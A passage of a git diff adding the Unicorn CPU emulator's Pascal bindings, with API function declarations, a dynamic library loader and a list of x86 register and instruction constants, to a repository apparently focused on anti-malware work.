UC_MEM_FETCH) + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs + } + uc_cb_hookmem_t = procedure(uc : uc_engine; _type : uc_mem_type; address : UInt64; size : integer; value : Int64; user_data : Pointer); cdecl; + + { + Callback function for handling invalid memory access events (UNMAPPED and + PROT events) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs + + @return: return true to continue, or false to stop program (due to invalid memory). + NOTE: returning true to continue execution will only work if the accessed + memory is made accessible with the correct permissions during the hook. + + In the event of a UC_MEM_READ_UNMAPPED or UC_MEM_WRITE_UNMAPPED callback, + the memory should be uc_mem_map()-ed with the correct permissions, and the + instruction will then read or write to the address as it was supposed to. + + In the event of a UC_MEM_FETCH_UNMAPPED callback, the memory can be mapped + in as executable, in which case execution will resume from the fetched address. + The instruction pointer may be written to in order to change where execution resumes, + but the fetch must succeed if execution is to resume. + } + uc_cb_eventmem_t = function(uc : uc_engine; _type : uc_mem_type; address : UInt64; size : integer; value : Int64; user_data : Pointer) : LongBool; cdecl; + + +type + { + Memory region mapped by uc_mem_map() and uc_mem_map_ptr() + Retrieve the list of memory regions with uc_mem_regions() + } + uc_mem_region = record + rBegin : UInt64; // begin address of the region (inclusive) + rEnd : UInt64; // end address of the region (inclusive) + rPerms : UInt32; // memory permissions of the region + end; + uc_mem_regionArray = array[0..(MaxInt div SizeOf(uc_mem_region))-1] of uc_mem_region; + Puc_mem_regionArray = ^uc_mem_regionArray; + + +// Exports +var +(* + Return combined API version & major and minor version numbers. + + @major: major number of API version + @minor: minor number of API version + + @return hexical number as (major << 8 | minor), which encodes both + major & minor versions. + NOTE: This returned value can be compared with version number made + with macro UC_MAKE_VERSION . + + For example, second API version would return 1 in @major, and 1 in @minor + The return value would be 0x0101 + + NOTE: if you only care about returned value, but not major and minor values, + set both @major & @minor arguments to NULL. +*) + uc_version : function (var major, minor : Cardinal) : Cardinal; cdecl; + +(* + Determine if the given architecture is supported by this library. + + @arch: architecture type (UC_ARCH_* ) + + @return True if this library supports the given arch. +*) + uc_arch_supported : function (arch : uc_arch) : LongBool; cdecl; + +(* + Create new instance of unicorn engine. + + @arch: architecture type (UC_ARCH_* ) + @mode: hardware mode. This is combined of UC_MODE_* + @uc: pointer to uc_engine, which will be updated at return time + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_open : function (arch : uc_arch; mode : uc_mode; var uc : uc_engine) : uc_err; cdecl; + +(* + Close UC instance: MUST do to release the handle when it is not used anymore. + NOTE: this must be called only when there is no longer usage of Unicorn. + The reason is the this API releases some cached memory, thus access to any + Unicorn API after uc_close() might crash your application. + After this, @uc is invalid, and nolonger usable. + + @uc: pointer to a handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_close : function (uc : uc_engine) : uc_err; cdecl; + +(* + Query internal status of engine. + + @uc: handle returned by uc_open() + @type: query type. See uc_query_type + + @result: save the internal status queried . + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*) + uc_query : function (uc : uc_engine; qtype : uc_query_type; result : PCardinal) : uc_err ; cdecl; + + +(* + Report the last error number when some API function fail. + Like glibc's errno, uc_errno might not retain its old value once accessed. + + @uc: handle returned by uc_open() + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*) + uc_errno : function (uc : uc_engine) : uc_err; cdecl; + +(* + Return a string describing given error code. + + @code: error code (see UC_ERR_* ) + + @return: returns a pointer to a string that describes the error code + passed in the argument @code +*) + uc_strerror : function (code : uc_err) : PAnsiChar; cdecl; + +(* + Write to register. + + @uc: handle returned by uc_open() + @regid: register ID that is to be modified. + @value: pointer to the value that will set to register @regid . + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_reg_write : function (uc : uc_engine; regid : Integer; const value : Pointer) : uc_err; cdecl; + +(* + Read register value. + + @uc: handle returned by uc_open() + @regid: register ID that is to be retrieved. + @value: pointer to a variable storing the register value. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_reg_read: function (uc : uc_engine; regid : Integer; value : Pointer) : uc_err; cdecl ; + + +(* + Write multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to store + @value: pointer to array of register values + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_reg_write_batch : function(uc : uc_engine; regs : PIntegerArray; const values : Pointer; count : Integer) : uc_err; cdecl; + +(* + Read multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to retrieve + @value: pointer to array of values to hold registers + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_reg_read_batch : function(uc : uc_engine; regs : PIntegerArray; var values : Pointer; count : integer) : uc_err; cdecl; + +(* + Write to a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to set. + @bytes: pointer to a variable containing data to be written to memory. + @size: size of memory to write to. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_mem_write_ : function (uc : uc_engine; address : UInt64; const bytes : Pointer; + size : Cardinal) : uc_err; cdecl; + +(* + Read a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to get. + @bytes: pointer to a variable containing data copied from memory. + @size: size of memory to read. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_read_ : function (uc : uc_engine; address : UInt64; bytes : Pointer; + size : Cardinal) : uc_err; cdecl; + +(* + Emulate machine code in a specific duration of time. + + @uc: handle returned by uc_open() + @begin: address where emulation starts + @until: address where emulation stops (i.e when this address is hit) + @timeout: duration to emulate the code (in microseconds). When this value is 0, + we will emulate the code in infinite time, until the code is finished. + @count: the number of instructions to be emulated. When this value is 0, + we will emulate all the code available, until the code is finished. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_emu_start : function (uc : uc_engine; _begin, _until , timeout : UInt64; + count : Cardinal) : uc_err; cdecl; + +(* + Stop emulation (which was started by uc_emu_start() API. + This is typically called from callback functions registered via tracing APIs. + NOTE: for now, this will stop the execution only after the current block. + + @uc: handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_emu_stop : function (uc : uc_engine) : uc_err; cdecl; + +(* +function (uc : uc_engine; var hh : uc_hook; _type : integer; + callback : Pointer; user_data : Pointer; _Begin, _End : UInt64; args : Array Of Const) : uc_err; cdecl; + +Register callback for a hook event. +The callback will be run when the hook event is hit. + +@uc: handle returned by uc_open() +@hh: hook handle returned from this registration. To be used in uc_hook_del() API +@type: hook type +@callback: callback to be run when instruction is hit +@user_data: user-defined data. This will be passed to callback function in its + last argument @user_data +@begin: start address of the area where the callback is effect (inclusive) +@end: end address of the area where the callback is effect (inclusive) + NOTE 1: the callback is called only if related address is in range [@begin, @end] + NOTE 2: if @begin > @end, callback is called whenever this hook type is triggered +@...: variable arguments (depending on @type) + NOTE: if @type = UC_HOOK_INSN, this is the instruction ID (ex: UC_X86_INS_OUT) + +@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_hook_add : function (uc : uc_engine; var hh : uc_hook; _type : integer; + callback : Pointer; user_data : Pointer; _Begin, _End : UInt64; args : Array Of Const) : uc_err; cdecl; + + //uc_hook_add_1 : function (uc : uc_engine; var hh : uc_hook; _type : integer; + // callback : Pointer; user_data : Pointer; _Begin, _End : UInt64; arg1 : integer) : uc_err; cdecl; + // + //uc_hook_add_2 : function (uc : uc_engine; var hh : uc_hook; _type : integer; + // callback : Pointer; user_data : Pointer; _Begin, _End : UInt64; arg1, arg2 : UInt64) : uc_err; cdecl; + // +(* + Unregister (remove) a hook callback. + This API removes the hook callback registered by uc_hook_add(). + NOTE: this should be called only when you no longer want to trace. + After this, @hh is invalid, and nolonger usable. + + @uc: handle returned by uc_open() + @hh: handle returned by uc_hook_add() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_hook_del : function (uc : uc_engine; hh : uc_hook) : uc_err; cdecl ; + +(* + Map memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_map : function (uc : uc_engine; address : UInt64; size : Cardinal; perms : UInt32) : uc_err; cdecl; + + +(* + Map existing host memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + @ptr: pointer to host memory backing the newly mapped memory. This host memory is + expected to be an equal or larger size than provided, and be mapped with at + least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_map_ptr : function(uc : uc_engine; address : UInt64; size : Cardinal; perms : UInt32; ptr : Pointer) : uc_err; cdecl; + + +(* + Unmap a region of emulation memory. + This API deletes a memory mapping from the emulation memory space. + + @handle: handle returned by uc_open() + @address: starting address of the memory region to be unmapped. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_mem_unmap : function (uc : uc_engine; address : UInt64; size : Cardinal) : uc_err; cdecl ; + +(* + Set memory permissions for emulation memory. + This API changes permissions on an existing memory region. + + @handle: handle returned by uc_open() + @address: starting address of the memory region to be modified. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: New permissions for the mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_mem_protect : function (uc : uc_engine; address : UInt64; size : Cardinal; perms : UInt32) : uc_err; cdecl ; + +(* + Retrieve all memory regions mapped by uc_mem_map() and uc_mem_map_ptr() + This API allocates memory for @regions, and user must free this memory later + by free() to avoid leaking memory. + NOTE: memory regions may be splitted by uc_mem_unmap() + + @uc: handle returned by uc_open() + @regions: pointer to an array of uc_mem_region struct. >> Check "Puc_mem_regionArray" + This is allocated by Unicorn, and must be freed by user later. + @count: pointer to number of struct uc_mem_region contained in @regions + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_mem_regions : function(uc : uc_engine; var regions : Puc_mem_regionArray; count : PUInt32) : uc_err; cdecl ; + +(* + Allocate a region that can be used with uc_context_{save,restore} to perform + quick save/rollback of the CPU context, which includes registers and some + internal metadata. Contexts may not be shared across engine instances with + differing arches or modes. + + @uc: handle returned by uc_open() + @context: pointer to a uc_engine*. This will be updated with the pointer to + the new context on successful return of this function. + Later, this allocated memory must be freed with uc_free(). + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*) + uc_context_alloc : function ( uc : uc_engine; var context : uc_context) : uc_err; cdecl ; + +(* + Free the memory allocated by uc_context_alloc & uc_mem_regions. + + @mem: memory allocated by uc_context_alloc (returned in *context), or + by uc_mem_regions (returned in *regions) + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_free : function (context : Pointer) : uc_err; cdecl ; + + +(* + Save a copy of the internal CPU context. + This API should be used to efficiently make or update a saved copy of the + internal CPU state. + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_context_save : function ( uc : uc_engine; context : uc_context) : uc_err; cdecl; + +(* + Restore the current CPU context from a saved copy. + This API should be used to roll the CPU context back to a previous + state saved by uc_context_save(). + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc that has been used with uc_context_save + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum \ + for detailed error). +*) + uc_context_restore : function(uc : uc_engine; context : uc_context) : uc_err; cdecl; + + +{============================= Global Functions ================================} + +// function uc_hook_add(uc : uc_engine; var hh : uc_hook; _type : integer; +// callback : Pointer; user_data : Pointer; mBegin, mEnd : UInt64) : uc_err; overload; + //function uc_hook_add(uc : uc_engine; var hh : uc_hook; _type : integer; + // callback : Pointer; user_data : Pointer; mBegin, mEnd , arg1 : UInt64) : uc_err; overload; + //function uc_hook_add(uc : uc_engine; var hh : uc_hook; _type : integer; + // callback : Pointer; user_data : Pointer; mBegin, mEnd , arg1, arg2 : UInt64) : uc_err; overload; + // + + function UC_MAKE_VERSION(major,minor : Cardinal): Cardinal; + +implementation + +function UC_MAKE_VERSION(major,minor : Cardinal): Cardinal; +begin + Result := ((major shl 8) + minor); +end; + +var + UC_Handle : {$IFDEF FPC}dynlibs.{$ENDIF}HModule; + +function dyn_loadfunc(name : {$IFDEF FPC}string{$ELSE}PChar{$ENDIF}) : Pointer; +begin + Result := {$IFDEF FPC}dynlibs.{$ENDIF}GetProcAddress(UC_Handle,name); +end; + +function loadUC(): Boolean; +var + LastError : String; +begin + Result := false; + UC_Handle := {$IFDEF FPC}dynlibs.{$ENDIF}LoadLibrary(UNICORN_LIB); + if UC_Handle <> 0 then + begin + @uc_version := dyn_loadfunc('uc_version'); + if (@uc_version = nil) then exit(false); + + @uc_arch_supported := dyn_loadfunc('uc_arch_supported'); + if (@uc_arch_supported = nil) then exit(false); + + @uc_open := dyn_loadfunc('uc_open'); + if (@uc_open = nil) then exit(false); + + @uc_close := dyn_loadfunc('uc_close'); + if (@uc_close = nil) then exit(false); + + @uc_query := dyn_loadfunc('uc_query'); + if (@uc_query = nil) then exit(false); + + @uc_errno := dyn_loadfunc('uc_errno'); + if (@uc_errno = nil) then exit(false); + + @uc_strerror := dyn_loadfunc('uc_strerror'); + if (@uc_strerror = nil) then exit(false); + + @uc_reg_write := dyn_loadfunc('uc_reg_write'); + if (@uc_reg_write = nil) then exit(false); + + @uc_reg_read := dyn_loadfunc('uc_reg_read'); + if (@uc_reg_read = nil) then exit(false); + + @uc_reg_write_batch := dyn_loadfunc('uc_reg_write_batch'); + if (@uc_reg_write_batch = nil) then exit(false); + + @uc_reg_read_batch := dyn_loadfunc('uc_reg_read_batch'); + if (@uc_reg_read_batch = nil) then exit(false); + + @uc_mem_write_ := dyn_loadfunc('uc_mem_write'); + if (@uc_mem_write_ = nil) then exit(false); + + @uc_mem_read_ := dyn_loadfunc('uc_mem_read'); + if (@uc_mem_read_ = nil) then exit(false); + + @uc_emu_start := dyn_loadfunc('uc_emu_start'); + if (@uc_emu_start = nil) then exit(false); + + @uc_emu_stop := dyn_loadfunc('uc_emu_stop'); + if (@uc_emu_stop = nil) then exit(false); + + @uc_hook_add := dyn_loadfunc('uc_hook_add'); + if (@uc_hook_add = nil) then exit(false); + + @uc_hook_del := dyn_loadfunc('uc_hook_del'); + if (@uc_hook_del = nil) then exit(false); + + @uc_mem_map := dyn_loadfunc('uc_mem_map'); + if (@uc_mem_map = nil) then exit(false); + + @uc_mem_map_ptr := dyn_loadfunc('uc_mem_map_ptr'); + if (@uc_mem_map_ptr = nil) then exit(false); + + @uc_mem_unmap := dyn_loadfunc('uc_mem_unmap'); + if (@uc_mem_unmap = nil) then exit(false); + + @uc_mem_protect := dyn_loadfunc('uc_mem_protect'); + if (@uc_mem_protect = nil) then exit(false); + + @uc_mem_regions := dyn_loadfunc('uc_mem_regions'); + if (@uc_mem_regions = nil) then exit(false); + + @uc_context_alloc := dyn_loadfunc('uc_context_alloc'); + if (@uc_context_alloc = nil) then exit(false); + + @uc_context_save := dyn_loadfunc('uc_context_save'); + if (@uc_context_save = nil) then exit(false); + + @uc_context_restore := dyn_loadfunc('uc_context_restore'); + if (@uc_context_restore = nil) then exit(false); + + @uc_free := dyn_loadfunc('uc_free'); + if (@uc_free = nil) then exit(false); + + Result := true; + end + else + begin + {$IFDEF FPC}TextColor(LightRed);{$ENDIF} + LastError := {$IFDEF FPC}GetLoadErrorStr;{$ELSE} + {$ifdef mswindows} + SysErrorMessage(GetLastError,UC_Handle); + SetLastError(0); + {$ENDIF} + {$ENDIF} + WriteLn('error while loading unicorn library : ',LastError,#10); + {$IFDEF FPC}NormVideo;{$ENDIF} + end; +end; + +procedure FreeUC(); +begin + if UC_Handle <> 0 then + {$IFDEF FPC}dynlibs.{$ENDIF}FreeLibrary(UC_Handle); +end; + +initialization + UC_Handle := 0; + if not loadUC then halt(0); + +finalization + FreeUC(); +end. diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/X86Const.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/X86Const.pas new file mode 100644 index 0000000..27994b6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/X86Const.pas @@ -0,0 +1,1607 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit X86Const; + +interface + +const +// X86 registers + + UC_X86_REG_INVALID = 0; + UC_X86_REG_AH = 1; + UC_X86_REG_AL = 2; + UC_X86_REG_AX = 3; + UC_X86_REG_BH = 4; + UC_X86_REG_BL = 5; + UC_X86_REG_BP = 6; + UC_X86_REG_BPL = 7; + UC_X86_REG_BX = 8; + UC_X86_REG_CH = 9; + UC_X86_REG_CL = 10; + UC_X86_REG_CS = 11; + UC_X86_REG_CX = 12; + UC_X86_REG_DH = 13; + UC_X86_REG_DI = 14; + UC_X86_REG_DIL = 15; + UC_X86_REG_DL = 16; + UC_X86_REG_DS = 17; + UC_X86_REG_DX = 18; + UC_X86_REG_EAX = 19; + UC_X86_REG_EBP = 20; + UC_X86_REG_EBX = 21; + UC_X86_REG_ECX = 22; + UC_X86_REG_EDI = 23; + UC_X86_REG_EDX = 24; + UC_X86_REG_EFLAGS = 25; + UC_X86_REG_EIP = 26; + UC_X86_REG_EIZ = 27; + UC_X86_REG_ES = 28; + UC_X86_REG_ESI = 29; + UC_X86_REG_ESP = 30; + UC_X86_REG_FPSW = 31; + UC_X86_REG_FS = 32; + UC_X86_REG_GS = 33; + UC_X86_REG_IP = 34; + UC_X86_REG_RAX = 35; + UC_X86_REG_RBP = 36; + UC_X86_REG_RBX = 37; + UC_X86_REG_RCX = 38; + UC_X86_REG_RDI = 39; + UC_X86_REG_RDX = 40; + UC_X86_REG_RIP = 41; + UC_X86_REG_RIZ = 42; + UC_X86_REG_RSI = 43; + UC_X86_REG_RSP = 44; + UC_X86_REG_SI = 45; + UC_X86_REG_SIL = 46; + UC_X86_REG_SP = 47; + UC_X86_REG_SPL = 48; + UC_X86_REG_SS = 49; + UC_X86_REG_CR0 = 50; + UC_X86_REG_CR1 = 51; + UC_X86_REG_CR2 = 52; + UC_X86_REG_CR3 = 53; + UC_X86_REG_CR4 = 54; + UC_X86_REG_CR5 = 55; + UC_X86_REG_CR6 = 56; + UC_X86_REG_CR7 = 57; + UC_X86_REG_CR8 = 58; + UC_X86_REG_CR9 = 59; + UC_X86_REG_CR10 = 60; + UC_X86_REG_CR11 = 61; + UC_X86_REG_CR12 = 62; + UC_X86_REG_CR13 = 63; + UC_X86_REG_CR14 = 64; + UC_X86_REG_CR15 = 65; + UC_X86_REG_DR0 = 66; + UC_X86_REG_DR1 = 67; + UC_X86_REG_DR2 = 68; + UC_X86_REG_DR3 = 69; + UC_X86_REG_DR4 = 70; + UC_X86_REG_DR5 = 71; + UC_X86_REG_DR6 = 72; + UC_X86_REG_DR7 = 73; + UC_X86_REG_DR8 = 74; + UC_X86_REG_DR9 = 75; + UC_X86_REG_DR10 = 76; + UC_X86_REG_DR11 = 77; + UC_X86_REG_DR12 = 78; + UC_X86_REG_DR13 = 79; + UC_X86_REG_DR14 = 80; + UC_X86_REG_DR15 = 81; + UC_X86_REG_FP0 = 82; + UC_X86_REG_FP1 = 83; + UC_X86_REG_FP2 = 84; + UC_X86_REG_FP3 = 85; + UC_X86_REG_FP4 = 86; + UC_X86_REG_FP5 = 87; + UC_X86_REG_FP6 = 88; + UC_X86_REG_FP7 = 89; + UC_X86_REG_K0 = 90; + UC_X86_REG_K1 = 91; + UC_X86_REG_K2 = 92; + UC_X86_REG_K3 = 93; + UC_X86_REG_K4 = 94; + UC_X86_REG_K5 = 95; + UC_X86_REG_K6 = 96; + UC_X86_REG_K7 = 97; + UC_X86_REG_MM0 = 98; + UC_X86_REG_MM1 = 99; + UC_X86_REG_MM2 = 100; + UC_X86_REG_MM3 = 101; + UC_X86_REG_MM4 = 102; + UC_X86_REG_MM5 = 103; + UC_X86_REG_MM6 = 104; + UC_X86_REG_MM7 = 105; + UC_X86_REG_R8 = 106; + UC_X86_REG_R9 = 107; + UC_X86_REG_R10 = 108; + UC_X86_REG_R11 = 109; + UC_X86_REG_R12 = 110; + UC_X86_REG_R13 = 111; + UC_X86_REG_R14 = 112; + UC_X86_REG_R15 = 113; + UC_X86_REG_ST0 = 114; + UC_X86_REG_ST1 = 115; + UC_X86_REG_ST2 = 116; + UC_X86_REG_ST3 = 117; + UC_X86_REG_ST4 = 118; + UC_X86_REG_ST5 = 119; + UC_X86_REG_ST6 = 120; + UC_X86_REG_ST7 = 121; + UC_X86_REG_XMM0 = 122; + UC_X86_REG_XMM1 = 123; + UC_X86_REG_XMM2 = 124; + UC_X86_REG_XMM3 = 125; + UC_X86_REG_XMM4 = 126; + UC_X86_REG_XMM5 = 127; + UC_X86_REG_XMM6 = 128; + UC_X86_REG_XMM7 = 129; + UC_X86_REG_XMM8 = 130; + UC_X86_REG_XMM9 = 131; + UC_X86_REG_XMM10 = 132; + UC_X86_REG_XMM11 = 133; + UC_X86_REG_XMM12 = 134; + UC_X86_REG_XMM13 = 135; + UC_X86_REG_XMM14 = 136; + UC_X86_REG_XMM15 = 137; + UC_X86_REG_XMM16 = 138; + UC_X86_REG_XMM17 = 139; + UC_X86_REG_XMM18 = 140; + UC_X86_REG_XMM19 = 141; + UC_X86_REG_XMM20 = 142; + UC_X86_REG_XMM21 = 143; + UC_X86_REG_XMM22 = 144; + UC_X86_REG_XMM23 = 145; + UC_X86_REG_XMM24 = 146; + UC_X86_REG_XMM25 = 147; + UC_X86_REG_XMM26 = 148; + UC_X86_REG_XMM27 = 149; + UC_X86_REG_XMM28 = 150; + UC_X86_REG_XMM29 = 151; + UC_X86_REG_XMM30 = 152; + UC_X86_REG_XMM31 = 153; + UC_X86_REG_YMM0 = 154; + UC_X86_REG_YMM1 = 155; + UC_X86_REG_YMM2 = 156; + UC_X86_REG_YMM3 = 157; + UC_X86_REG_YMM4 = 158; + UC_X86_REG_YMM5 = 159; + UC_X86_REG_YMM6 = 160; + UC_X86_REG_YMM7 = 161; + UC_X86_REG_YMM8 = 162; + UC_X86_REG_YMM9 = 163; + UC_X86_REG_YMM10 = 164; + UC_X86_REG_YMM11 = 165; + UC_X86_REG_YMM12 = 166; + UC_X86_REG_YMM13 = 167; + UC_X86_REG_YMM14 = 168; + UC_X86_REG_YMM15 = 169; + UC_X86_REG_YMM16 = 170; + UC_X86_REG_YMM17 = 171; + UC_X86_REG_YMM18 = 172; + UC_X86_REG_YMM19 = 173; + UC_X86_REG_YMM20 = 174; + UC_X86_REG_YMM21 = 175; + UC_X86_REG_YMM22 = 176; + UC_X86_REG_YMM23 = 177; + UC_X86_REG_YMM24 = 178; + UC_X86_REG_YMM25 = 179; + UC_X86_REG_YMM26 = 180; + UC_X86_REG_YMM27 = 181; + UC_X86_REG_YMM28 = 182; + UC_X86_REG_YMM29 = 183; + UC_X86_REG_YMM30 = 184; + UC_X86_REG_YMM31 = 185; + UC_X86_REG_ZMM0 = 186; + UC_X86_REG_ZMM1 = 187; + UC_X86_REG_ZMM2 = 188; + UC_X86_REG_ZMM3 = 189; + UC_X86_REG_ZMM4 = 190; + UC_X86_REG_ZMM5 = 191; + UC_X86_REG_ZMM6 = 192; + UC_X86_REG_ZMM7 = 193; + UC_X86_REG_ZMM8 = 194; + UC_X86_REG_ZMM9 = 195; + UC_X86_REG_ZMM10 = 196; + UC_X86_REG_ZMM11 = 197; + UC_X86_REG_ZMM12 = 198; + UC_X86_REG_ZMM13 = 199; + UC_X86_REG_ZMM14 = 200; + UC_X86_REG_ZMM15 = 201; + UC_X86_REG_ZMM16 = 202; + UC_X86_REG_ZMM17 = 203; + UC_X86_REG_ZMM18 = 204; + UC_X86_REG_ZMM19 = 205; + UC_X86_REG_ZMM20 = 206; + UC_X86_REG_ZMM21 = 207; + UC_X86_REG_ZMM22 = 208; + UC_X86_REG_ZMM23 = 209; + UC_X86_REG_ZMM24 = 210; + UC_X86_REG_ZMM25 = 211; + UC_X86_REG_ZMM26 = 212; + UC_X86_REG_ZMM27 = 213; + UC_X86_REG_ZMM28 = 214; + UC_X86_REG_ZMM29 = 215; + UC_X86_REG_ZMM30 = 216; + UC_X86_REG_ZMM31 = 217; + UC_X86_REG_R8B = 218; + UC_X86_REG_R9B = 219; + UC_X86_REG_R10B = 220; + UC_X86_REG_R11B = 221; + UC_X86_REG_R12B = 222; + UC_X86_REG_R13B = 223; + UC_X86_REG_R14B = 224; + UC_X86_REG_R15B = 225; + UC_X86_REG_R8D = 226; + UC_X86_REG_R9D = 227; + UC_X86_REG_R10D = 228; + UC_X86_REG_R11D = 229; + UC_X86_REG_R12D = 230; + UC_X86_REG_R13D = 231; + UC_X86_REG_R14D = 232; + UC_X86_REG_R15D = 233; + UC_X86_REG_R8W = 234; + UC_X86_REG_R9W = 235; + UC_X86_REG_R10W = 236; + UC_X86_REG_R11W = 237; + UC_X86_REG_R12W = 238; + UC_X86_REG_R13W = 239; + UC_X86_REG_R14W = 240; + UC_X86_REG_R15W = 241; + UC_X86_REG_IDTR = 242; + UC_X86_REG_GDTR = 243; + UC_X86_REG_LDTR = 244; + UC_X86_REG_TR = 245; + UC_X86_REG_FPCW = 246; + UC_X86_REG_FPTAG = 247; + UC_X86_REG_MSR = 248; + UC_X86_REG_MXCSR = 249; + UC_X86_REG_FS_BASE = 250; + UC_X86_REG_GS_BASE = 251; + UC_X86_REG_ENDING = 252; + +// X86 instructions + + UC_X86_INS_INVALID = 0; + UC_X86_INS_AAA = 1; + UC_X86_INS_AAD = 2; + UC_X86_INS_AAM = 3; + UC_X86_INS_AAS = 4; + UC_X86_INS_FABS = 5; + UC_X86_INS_ADC = 6; + UC_X86_INS_ADCX = 7; + UC_X86_INS_ADD = 8; + UC_X86_INS_ADDPD = 9; + UC_X86_INS_ADDPS = 10; + UC_X86_INS_ADDSD = 11; + UC_X86_INS_ADDSS = 12; + UC_X86_INS_ADDSUBPD = 13; + UC_X86_INS_ADDSUBPS = 14; + UC_X86_INS_FADD = 15; + UC_X86_INS_FIADD = 16; + UC_X86_INS_FADDP = 17; + UC_X86_INS_ADOX = 18; + UC_X86_INS_AESDECLAST = 19; + UC_X86_INS_AESDEC = 20; + UC_X86_INS_AESENCLAST = 21; + UC_X86_INS_AESENC = 22; + UC_X86_INS_AESIMC = 23; + UC_X86_INS_AESKEYGENASSIST = 24; + UC_X86_INS_AND = 25; + UC_X86_INS_ANDN = 26; + UC_X86_INS_ANDNPD = 27; + UC_X86_INS_ANDNPS = 28; + UC_X86_INS_ANDPD = 29; + UC_X86_INS_ANDPS = 30; + UC_X86_INS_ARPL = 31; + UC_X86_INS_BEXTR = 32; + UC_X86_INS_BLCFILL = 33; + UC_X86_INS_BLCI = 34; + UC_X86_INS_BLCIC = 35; + UC_X86_INS_BLCMSK = 36; + UC_X86_INS_BLCS = 37; + UC_X86_INS_BLENDPD = 38; + UC_X86_INS_BLENDPS = 39; + UC_X86_INS_BLENDVPD = 40; + UC_X86_INS_BLENDVPS = 41; + UC_X86_INS_BLSFILL = 42; + UC_X86_INS_BLSI = 43; + UC_X86_INS_BLSIC = 44; + UC_X86_INS_BLSMSK = 45; + UC_X86_INS_BLSR = 46; + UC_X86_INS_BOUND = 47; + UC_X86_INS_BSF = 48; + UC_X86_INS_BSR = 49; + UC_X86_INS_BSWAP = 50; + UC_X86_INS_BT = 51; + UC_X86_INS_BTC = 52; + UC_X86_INS_BTR = 53; + UC_X86_INS_BTS = 54; + UC_X86_INS_BZHI = 55; + UC_X86_INS_CALL = 56; + UC_X86_INS_CBW = 57; + UC_X86_INS_CDQ = 58; + UC_X86_INS_CDQE = 59; + UC_X86_INS_FCHS = 60; + UC_X86_INS_CLAC = 61; + UC_X86_INS_CLC = 62; + UC_X86_INS_CLD = 63; + UC_X86_INS_CLFLUSH = 64; + UC_X86_INS_CLFLUSHOPT = 65; + UC_X86_INS_CLGI = 66; + UC_X86_INS_CLI = 67; + UC_X86_INS_CLTS = 68; + 